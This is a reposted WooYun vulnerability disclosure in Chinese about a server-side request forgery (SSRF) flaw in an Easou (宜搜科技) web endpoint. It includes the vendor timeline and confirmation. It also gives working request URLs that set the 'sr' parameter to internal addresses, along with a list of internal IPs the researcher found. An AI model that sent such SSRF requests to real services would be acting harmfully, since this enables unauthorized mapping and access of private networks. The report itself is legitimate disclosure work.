宜搜科技ssrf内网漫游

2017年4月19日21:21:31评论256 views字数 193阅读0分38秒阅读模式

摘要

2016-04-19：细节已通知厂商并且等待厂商处理中
2016-04-19：厂商已经确认，细节仅向厂商公开
2016-04-29：细节向核心白帽子及相关领域专家公开
2016-05-09：细节向普通白帽子公开
2016-05-19：细节向实习白帽子公开
2016-06-03：细节向公众公开

漏洞概要关注数(13) 关注此漏洞

缺陷编号： WooYun-2016-198104

漏洞标题：宜搜科技ssrf内网漫游

漏洞作者：偶然

提交时间： 2016-04-19 12:25

公开时间： 2016-06-03 13:50

漏洞类型：应用配置错误

危害等级：高

自评Rank： 20

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：无

2人收藏

漏洞详情

披露状态：

简要描述：

详细说明：

http://z.easou.com/show.m?esid=zxHvHNlffsZ&p=1&pn=1&q=&sr=192.168.1.10&wver=c#

#内网探测

IP错误返回页面内网为空

IP正确则重定向到该页面

code 区域

192.168.1.10
 192.168.1.22
 192.168.1.254
 192.168.1.189
 10.26.28.244
 10.26.28.247
 10.26.28.157
 10.26.28.248
 10.26.28.198
 10.13.4.50
 10.13.4.51
 10.13.4.52
 10.13.4.61
 10.13.4.43
 10.13.4.53
 10.13.4.55
 10.13.4.56
 10.13.4.57
 10.13.4.58
 10.13.4.59
 10.13.4.39
 10.13.4.99

漏洞证明：

最开始以为只是内网探测而已，但是惊奇的发现居然可以内网访问

http://z.easou.com/show.m?esid=zxHvHNlffsZ&p=1&pn=1&q=&sr=http://192.168.1.222&wver=c#

http://z.easou.com/show.m?esid=zxHvHNlffsZ&p=1&pn=1&q=&sr=http://192.168.1.231&wver=c#

http://z.easou.com/show.m?esid=zxHvHNlffsZ&p=1&pn=1&q=&sr=http://192.168.1.250&wver=c#

http://z.easou.com/show.m?esid=zxHvHNlffsZ&p=1&pn=1&q=&sr=http://10.26.28.197&wver=c

修复方案：

版权声明：转载请注明来源偶然@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2016-04-19 13:47

厂商回复：

谢谢指正，我们尽快修复~~

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞概要 关注数(13) 关注此漏洞

缺陷编号： WooYun-2016-198104

漏洞标题： 宜搜科技ssrf内网漫游

相关厂商： 宜搜科技

漏洞作者： 偶然

提交时间： 2016-04-19 12:25

公开时间： 2016-06-03 13:50

漏洞类型： 应用配置错误

危害等级： 高